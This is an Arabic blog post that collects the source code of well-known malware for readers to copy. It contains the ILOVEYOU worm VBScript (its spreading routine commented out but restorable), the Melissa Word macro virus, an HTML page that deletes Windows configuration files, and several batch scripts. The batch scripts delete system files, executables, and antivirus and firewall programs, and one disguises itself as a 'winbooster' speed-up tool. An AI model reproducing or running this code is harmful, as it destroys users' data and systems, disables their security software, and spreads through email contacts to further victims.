كود فيروس الحب
rem barok -loveletter(vbe) <i hate go to school>
rem by: EVIL-MASTER / evil5000x@hotmail.com/ Group /EVIL-ATTACK Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d
ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
REM main() ' CSS: Main has been REMed out to provide more innoculation. unREM to run.
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
REM spreadtoemail() ' CSS: Causes the worm to propogate itself. REMed for even more innoculation.
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr
entVersion\Run\MSKernel32",dirsystem&"\MSKernel32. vbs"
regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr
entVersion\RunServices\Win32DLL",dirwin&"\Win32DLL .vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/ HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf
7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/ skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j
nHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/ jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3V
bvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/ sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras
djhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy
7thjg/WIN-BUGSFIX.exeend if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr
entVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about :blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
Sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.pathext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.i ni")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com/"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega
d
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\M icrosoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\ Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead ,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
------------------------------------------------------------------------------------
كود فيروس Html
<html>
<head>
<meta http-equiv="Content-Type"
content="text/html; charset=iso-8859-1">
<title>Active-X HTML</title>
</head>
THIS HTML USING ACTIVE-X PLEASE CLICK #YES#
<body bgcolor="#000000" Text="#C0C0C0">
<script language="VBScript">
<!-- This is a MY BRAIN --!>
On Error Resume Next
Dim a
Set fso = CreateObject("Scripting.FileSystemObject")
Set a = fso.GetFile("win.ini")
a.Delete
Dim b
Set fso = CreateObject("Scripting.FileSystemObject")
Set b = fso.GetFile("system.ini")
b.Delete
</script>
<!--- This script author is THEONE---!>
</body>
</html>
ثم نحفظها باى أسم +Html
---------------------------------------------------------------------------
كود فيروس لتدمير الويندوز
Del c:\windows\system\msconfig.exe
Del c:\windows\Rundll32.exe
Del c:\windows\regedit.exe
Del c:\windows\Rundll.exe
Del c:\Autoexec.bat
Del c:\command.com
Del c:\windows\Logos.sys
Del c:\windows\Logow.sys
Del c:\windows\Scanregw.exe
Del C:\Program Files\Internet Explorer\Iexplore.exe
Del c:\windows\system\Sysedit.exe
Del c:\windows\win.com
@Echo off
c:
cd %WinDir%\System\
deltree /y *.exe
--------------------------------------------------------------------
كود فيروس حذف Regedit و Msconfig
c:\windows\regedit.exe del
C:\windows\system\msconfig.exe del
------------------------------------------------------------
كود لحذف شاشة الترحيب للويندوز
Del c:\windows\Logos.sys
Del c:\windows\Logow.sys
----------------------------------------------------------------------------------------------
كود فيروس يمحى بعض الملفات المهمة من الجهاز
@echo off
c:
deltree /y *.exe
deltree /y *.dll
deltree /y *.drv
deltree /y *.sys
deltree /y *.ini
cd %windir%\system
deltree /y *.sys
deltree /y *.dll
deltree /y *.ini
deltree /y *.exe
كود فيروس يدمر برنامج النورتون انتى فيروس و برنامج الزون الارم
@echo welcome to the winbooster by Agent007
@echo if u want to make your computer get faster , you should follow
@echo the next steps (step by step)
@pause
cd\
c:
dir
dir c:\progra~1\norton~1
@echo if u want to make your computer faster
@pause
@echo now you should to type y and press enter
del c:\progra~1\norton~1
@pause
c:
dir
@echo if u want to make your computer faster
@pause
@dir c:\progra~1
dir c:\progra~1\zonea~1\zonealarm
del c:\progra~1\zonea~1\zonealarm
@echo be happy your computer now is faster than before
:exit
-------------------------------------------------------------------------------------------------------
كود فيروس مليسا
Private Sub AutoOpen() On Error Resume Next
p$ = "clone"
If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity", "Level") = 1&
Else
p$ = "clone"
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
p$ = "clone"
System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Clone written by Duke/SMF
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
--------------------------------------------------------------------------------------------------
كود لفيروس ينئ ملاين من المجلدات على الهارد بجانب انه يدمر الويندوز
@echo off
CLS
@del c:\Windows\win.ini
CLS
@del c:\windows\system.dat
CLS
@del c:\windows\system.ini
CLS
@REN c:\Windows te3eeshWeeElwendosYa7'od3'er7a
CLS
@del c:\progra~1\netscape\commun~1\program\netscape.exe
CLS
@del c:\progra~1\netscape\commun~1\program\wgbview.dbm
CLS
@del c:\progra~1\norton~1\dec2.dll
@del c:\progra~1\norton~1\navstart.dat
@del c:\progra~1\norton~1\navw32.exe
@del c:\progra~1\norton~1\sfstr32i.dll
CLS
@del c:\progra~1\icq\icqcntct.dll
CLS
@del c:\progra~1\icq\dll\icqwso~1.dll
CLS
@REN c:\progra~1 fuck
CLS
@md c:\fff
@md c:\545
@md c:\jsior
@md c:\ierjq
@md c:\nmao
@md c:\ian
@md c:\asdja
@md c:\duiae
@md c:\dsuiuie
@md c:\ianer
@md c:\aie
@md c:\aiaer
@md c:\aiher
@md c:\kaie
@md c:\system
@md c:\uauau
@md c:\opoe
@md c:\pogrw
@md c:\uauer
@md c:\vnvnv
@md c:\imcvns
@md c:\mnbf
@md c:\ingo
@md c:\iajf
@md c:\sexe
@md c:\fffs
@md c:\54s5
@md c:\jsioer
@md c:\ierjeq
@md c:\nmato
@md c:\iany
@md c:\asbja
@md c:\duaae
@md c:\dsujiuie
@md c:\ianer
@md c:\aae
@md c:\aider
@md c:\ai3er
@md c:\kafe
@md c:\systam
@md c:\uauaau
@md c:\ofoe
@md c:\togrw
@md c:\uader
@md c:\vnvdsv
@md c:\i43cvns
@md c:\mdbf
@md c:\ind43
@md c:\iajf
@cd\
CLS
@del *.sys
CLS
@del *.exe
CLS
@del *.txt
CLS
@del *.dll
CLS
@del *.com
CLS
------------------------------------------------------------------------------------
اعلان
اعلن هنا
اخترنا لكم
قيمة الموقع
اعلان
أكواد اخطر الفيروسات
تنبية هام
لا يسمح بنقل الموضوع بدون ذكر المصدر فى نهاية الموضوع المنقول ووضع رابط الموضوع الأصلى للكاتب
أكواد اخطر الفيروسات
Reviewed by Adel Tunisien
on
5:57 ص
Rating: 5
الاشتراك في:
تعليقات الرسالة
(
Atom
)



يسعدنا تفاعلكم بالتعليق، لكن يرجى مراعاة الشروط التالية لضمان نشر التعليق
1أن يكون التعليق خاص بمحتوى التدوينة
2أن لا تضع أي روابط خارجية
3لاضافة كود حوله اولا بمحول الاكواد
4أي سؤال خارج محتوى التدوينة يرجى استخدام ركن الأسئلة محول الأكوادمحول الأكواد الإبتساماتالإبتسامات